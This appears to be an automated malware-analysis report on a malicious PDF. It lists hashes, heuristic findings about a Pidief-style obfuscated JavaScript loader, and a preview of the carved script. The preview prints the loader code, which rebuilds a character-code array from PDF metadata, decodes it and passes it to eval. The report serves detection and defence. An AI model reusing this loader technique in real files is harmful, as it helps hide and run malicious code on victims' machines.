Malicious PDF — malware analysis report

Static analysis result for SHA-256 294e1cecadfc529d…

MALICIOUS

PDF

18.3 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-08
MD5: 88ad6fd4bc2c37c50817701b51ba4c6b SHA-1: ffaf0355766fd3f50d846c8d66e5975e76f34002 SHA-256: 294e1cecadfc529dd08ad181a01fc4fdef1570094a9d811e06b223bbf19445ab
154 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x46D3 358 bytes
SHA-256: 2b646298d75fc2a1589cb80cdbd3be4f091cd78e2698738b0161aa782a947f77
Preview script
First 1,000 lines of the extracted script
var w = 4;
var dkt = this.title.replace(/w/g,'*w,');
dkt = dkt.replace(/t/g,'2');
dkt=dkt.substr(0,dkt.length-2) + ']';
gyblw=function(){return function(){return this}()}();
sirfa=gyblw[this.subject];
isyc=sirfa(this.producer);
fhjl = sirfa(dkt);
var s = '';
for (i = 0; i < fhjl.length; i++) {
	xipz = fhjl[i];
	s += isyc(xipz);
}
sirfa(s);

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